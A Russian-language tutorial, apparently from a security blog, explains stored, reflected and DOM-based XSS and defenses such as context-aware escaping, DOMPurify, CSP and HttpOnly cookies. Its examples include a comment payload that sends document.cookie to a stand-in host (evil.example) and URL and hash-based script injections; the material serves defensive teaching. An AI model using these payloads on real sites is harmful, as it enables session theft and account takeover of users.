Что такое XSS: виды межсайтового скриптинга и примеры атак
Основы3 минРедакция Innovialabs
Коротко
XSS — уязвимость, при которой чужой JavaScript выполняется на вашем сайте в браузере пользователя. Главная защита — экранировать любые данные при выводе с учётом контекста: HTML, атрибут, URL или скрипт.
Что такое XSS
XSS (Cross-Site Scripting, межсайтовый скриптинг) — уязвимость, при которой злоумышленник заставляет ваш сайт показать пользователю его JavaScript-код. Браузер не отличает этот код от вашего и выполняет его с теми же правами: с доступом к странице, данным и действиям от имени пользователя.
Причина почти всегда одна: данные от пользователя попадают в HTML без экранирования, и браузер воспринимает их как разметку или код.
Три вида XSS
| Вид | Где хранится payload | Как жертва его получает |
|---|---|---|
| Хранимый (stored) | В базе данных | Открывает обычную страницу с заражённым контентом |
| Отражённый (reflected) | В ссылке или запросе | Переходит по подготовленной ссылке |
| DOM-based | Обрабатывается только в браузере | JavaScript страницы сам вставляет данные в DOM |
Хранимый XSS
Злоумышленник оставляет комментарий:
<img src="x" onerror="fetch('https://evil.example/c?d='+document.cookie)">
Если сайт выводит комментарий как HTML, код выполнится у каждого, кто откроет страницу, включая администратора. Это самый опасный вид: атака срабатывает без участия злоумышленника.
Отражённый XSS
Страница поиска выводит запрос: «Результаты по запросу: …». Злоумышленник отправляет жертве ссылку:
https://shop.example/search?q=<script>/* вредоносный код */</script>
Сервер «отражает» параметр в ответ, и скрипт выполняется. Ссылку маскируют сокращателем или кнопкой в письме.
DOM-based XSS
Сервер тут ни при чём — уязвим клиентский код:
// уязвимо: данные из адреса вставляются как HTML
document.getElementById("greeting").innerHTML = location.hash.slice(1);
Ссылка вида page.html#<img src=x onerror=alert(1)> запустит код. Опасные места: innerHTML, outerHTML, document.write, eval, setTimeout со строкой.
Что может украсть атакующий
Скрипт работает в контексте вашего сайта, поэтому может:
- Украсть сессию, если cookie не помечены
HttpOnly, или токены изlocalStorage. - Действовать от имени пользователя: менять email и пароль, переводить деньги, публиковать контент.
- Читать данные на странице: личные сообщения, платёжную информацию, документы.
- Подменить интерфейс: показать фальшивую форму входа на настоящем домене.
- Записывать нажатия клавиш и отправлять их на свой сервер.
Принципы защиты
Экранирование вывода по контексту
Главное правило: экранировать данные при выводе, а не только «чистить» при вводе. Способ зависит от того, куда попадают данные:
| Контекст | Что делать |
|---|---|
| Текст внутри HTML | Заменить <, >, &, ", ' на HTML-сущности |
| Значение атрибута | Всегда в кавычках плюс HTML-экранирование |
URL в href/src | encodeURIComponent для параметров, разрешать только http: и https: |
Внутри <script> | Не вставлять данные напрямую; передавать через JSON или data-атрибуты |
| CSS | Избегать пользовательских данных в стилях |
Современные шаблонизаторы и фреймворки (Jinja2, Blade, React, Angular) экранируют текст по умолчанию. Уязвимости появляются, когда это отключают вручную.
Дополнительные слои
- Санитайзер HTML (например, DOMPurify), если пользователю действительно нужно разрешить разметку.
- Content Security Policy — запрещает inline-скрипты и загрузку кода с чужих доменов.
- Cookie с флагами
HttpOnly,Secure,SameSite— скрипт не сможет прочитать сессию. - Валидация ввода — полезна, но не заменяет экранирование.
Частые ошибки
- Чёрные списки вроде «удалить слово script» — их легко обойти через атрибуты событий и другие теги.
- Экранирование для HTML там, где данные попадают в URL или JavaScript.
- Доверие к данным из «своих» источников: админки, CRM, сторонних API.